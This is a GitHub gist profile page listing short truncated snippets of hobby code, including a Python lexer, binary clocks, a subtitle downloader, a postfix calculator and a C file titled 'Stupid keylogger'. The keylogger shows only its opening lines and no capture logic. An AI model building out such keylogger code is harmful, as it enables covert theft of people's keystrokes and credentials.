Skip to content

Instantly share code, notes, and snippets.

View cameronp98's full-sized avatar

Cameron Phillips cameronp98

  • Nottingham / Leeds
View GitHub Profile
@cameronp98
cameronp98 / lexer.py
Last active January 3, 2016 18:49
Simple lexer in python
from collections import namedtuple
import re
# basic token container
Token = namedtuple("Token", ["tag", "val", "pos", "end"])
# regex scanner handler
t = lambda tag: lambda sc, val: Token(tag, val, sc.match.start(), sc.match.end())
def lex(text, rules, ignore_whitespace=True):
"""
http://effbot.org/zone/simple-iterator-parser.htm
http://en.wikipedia.org/wiki/Recursive_descent_parser
==============================================================================
This is waaaaaayyy longer and much more complicated than it needs to be,
but I have an obsession with abstraction and I'd rather make something
comprehensive and useful than something that just works
==============================================================================
Cameron Phillips - Jan 2014 - python 3.3
"""
@cameronp98
cameronp98 / binclock.c
Created January 28, 2014 17:51
Console based binary clock in C. The show() function would obviously do something like turn LEDs on and off if IO pins were available.
#include <stdio.h>
#include <time.h>
#define SECOND 1
#define MINUTE 60
#define HOUR 3600
int diff = 0;
void show(int unit, char end);
@cameronp98
cameronp98 / minuteleds.ino
Last active January 4, 2016 20:39
Arduino 1 minute binary clock for 6 LEDs
#include <Time.h>
int leds[6] = {13, 12, 11, 10, 9, 8};
void show(int value, int pins[]);
void setup() {
for (int i = 0; i < 6; i++) {
pinMode(leds[i], OUTPUT);
}
@cameronp98
cameronp98 / subs.py
Created February 2, 2014 19:28
Download the subtitles for a movie file
# ----------------------------------------------------------------------------
# Download the subtitles for the selected movie file from thesubdb.com
# Note: requires requests (https://github.com/kennethreitz/requests) because
# urllib is a pain in the arse
# Date: 02/02/2014
# Python version: 3.3
# ----------------------------------------------------------------------------
import requests
import hashlib
import json
@cameronp98
cameronp98 / hash.py
Created February 6, 2014 15:57
An attempt at a hash function
def msum(l):
"Product of elements in l"
x = 1
for i in l:
x *= i
return x
def make_blocks(s, size):
"Create blocks from s of specified size"
for i in range(0, len(s), size):
@cameronp98
cameronp98 / balancing_act.py
Last active July 28, 2017 22:11
http://www.problemotd.com/problem/balancing-act/ -- find the smallest of 9 items only accessing the 'scales' twice
"""
http://www.problemotd.com/problem/balancing-act/
------------------------------------------------------------------------------
Problem: You are given 9 balls and a balance scale. One of the balls weighs
slightly less than the other 8. Using the scale only twice how can you figure
out which ball weighs less than the others? Do not attempt to mark the ball
once you find it.
------------------------------------------------------------------------------
find the smallest of 9 items only accessing the 'scales' twice
------------------------------------------------------------------------------
@cameronp98
cameronp98 / postfix_calc.c
Last active April 28, 2020 23:14
Simple postfix expression parser in C. Uses Reverse Polish Notation (RPN), i.e. 2 2 + 3 * => 12.0
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
typedef float st_type;
typedef struct {
st_type value;
struct node_t *next;
} node_t;
import turtle
def shape(turtle, num_sides, side_length, colors=None):
if colors is None:
colors = ["black"]
angle = 360/num_sides
for i in range(3):
turtle.forward(side_length)
turtle.pencolor(colors[i%len(colors)])
turtle.lt(angle)
@cameronp98
cameronp98 / keylogger_1.c
Last active July 18, 2019 07:10
Stupid keylogger
#include <windows.h>
#include <stdio.h>
#include <time.h>
main() {
// keep track of the time
time_t t_start, t_now, t_lastkey;
time(&t_start);
time(&t_now);
time(&t_lastkey);